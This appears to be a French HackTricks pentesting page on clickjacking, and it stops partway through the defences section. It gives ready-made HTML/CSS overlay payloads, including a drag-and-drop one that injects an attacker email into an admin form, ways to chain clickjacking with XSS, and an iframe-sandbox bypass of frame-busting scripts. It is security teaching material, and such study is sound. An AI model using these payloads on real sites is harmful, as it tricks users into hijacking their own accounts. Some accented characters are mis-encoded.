Clickjacking

Reading time: 9 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu'est-ce que le Clickjacking

Dans une attaque de clickjacking, un utilisateur est trompé pour cliquer sur un élément d'une page web qui est soit invisible soit déguisé en un élément différent. Cette manipulation peut entraßner des conséquences inattendues pour l'utilisateur, telles que le téléchargement de malware, la redirection vers des pages web malveillantes, la fourniture d'identifiants ou d'informations sensibles, des transferts d'argent, ou l'achat en ligne de produits.

Astuce : préremplir des formulaires

Parfois, il est possible de remplir la valeur des champs d'un formulaire à l'aide de paramÚtres GET lors du chargement d'une page. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la payload de clickjacking afin que l'utilisateur appuie sur le bouton Submit.

Remplir un formulaire avec Drag&Drop

Si vous avez besoin que l'utilisateur remplisse un formulaire mais que vous ne voulez pas lui demander directement d'écrire certaines informations spécifiques (comme l'email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de Drag&Drop quelque chose qui écrira vos données contrÎlées comme dans this example.

Payload basique

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload en plusieurs étapes

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Glisser&Déposer + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Si vous avez identifiĂ© une attaque XSS qui nĂ©cessite qu’un utilisateur clique sur un Ă©lĂ©ment pour dĂ©clencher le XSS et que la page est vulnĂ©rable au clickjacking, vous pouvez en abuser pour tromper l’utilisateur afin qu’il clique sur le bouton/le lien.
Exemple:
Vous avez trouvé un self XSS dans certains détails privés du compte (détails que seul vous pouvez définir et lire). La page contenant le formulaire pour définir ces détails est vulnérable au Clickjacking et vous pouvez préremplir le formulaire avec des paramÚtres GET.
Un attaquant pourrait prĂ©parer une attaque Clickjacking contre cette page en prĂ©remplissant le formulaire avec le XSS payload et en trompant l’utilisateur pour qu’il soumette le formulaire. Ainsi, lorsque le formulaire est soumis et que les valeurs sont modifiĂ©es, l’utilisateur exĂ©cutera le XSS.

DoubleClickjacking

Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

warning

Cette technique permet de tromper l’utilisateur pour qu’il clique en un seul endroit de la page victime en contournant toutes les protections contre le clickjacking. L’attaquant doit donc trouver des actions sensibles rĂ©alisables en un seul clic, comme les invites OAuth acceptant des permissions.

Extensions de navigateur : DOM-based autofill clickjacking

En dehors de l'iframesation des pages victimes, les attaquants peuvent cibler les éléments UI des extensions de navigateur injectés dans la page. Les gestionnaires de mots de passe affichent des listes déroulantes d'autoremplissage prÚs des champs focalisés ; en focalisant un champ contrÎlé par l'attaquant et en cachant/occultant le menu déroulant de l'extension (astuces d'opacité/superposition/couche supérieure), un clic contraint de l'utilisateur peut sélectionner un élément stocké et remplir des données sensibles dans des champs contrÎlés par l'attaquant. Cette variante ne nécessite aucune exposition via iframe et fonctionne entiÚrement via manipulation du DOM/CSS.

  • For concrete techniques and PoCs see:

BrowExt - ClickJacking

Strategies to Mitigate Clickjacking

Défenses cÎté client

Les scripts exécutés cÎté client peuvent effectuer des actions pour prévenir le Clickjacking :

  • VĂ©rifier que la fenĂȘtre de l’application est la fenĂȘtre principale (top window).
  • Rendre tous les frames visibles.
  • EmpĂȘcher les clics sur les frames invisibles.
  • DĂ©tecter et alerter les utilisateurs en cas de tentatives potentielles de Clickjacking.

Cependant, ces scripts anti-frame peuvent ĂȘtre contournĂ©s :

  • ParamĂštres de sĂ©curitĂ© des navigateurs : Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramĂštres de sĂ©curitĂ© ou d’un manque de support JavaScript.
  • Attribut sandbox de l’iframe HTML5 : Un attaquant peut neutraliser les scripts anti-frame en dĂ©finissant l’attribut sandbox avec les valeurs allow-forms ou allow-scripts sans allow-top-navigation. Cela empĂȘche l’iframe de vĂ©rifier si elle est la top window, p. ex.,
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Les valeurs allow-forms et allow-scripts permettent des actions Ă  l'intĂ©rieur de l'iframe tout en dĂ©sactivant la navigation au niveau supĂ©rieur. Pour garantir le fonctionnement prĂ©vu du site ciblĂ©, des permissions supplĂ©mentaires comme allow-same-origin et allow-modals peuvent ĂȘtre nĂ©cessaires, selon le type d'attaque. Les messages de la console du navigateur peuvent indiquer quelles permissions autoriser.

Défenses cÎté serveur

X-Frame-Options

L'en-tĂȘte de rĂ©ponse HTTP X-Frame-Options informe les navigateurs de la lĂ©gitimitĂ© d'afficher une page dans un ou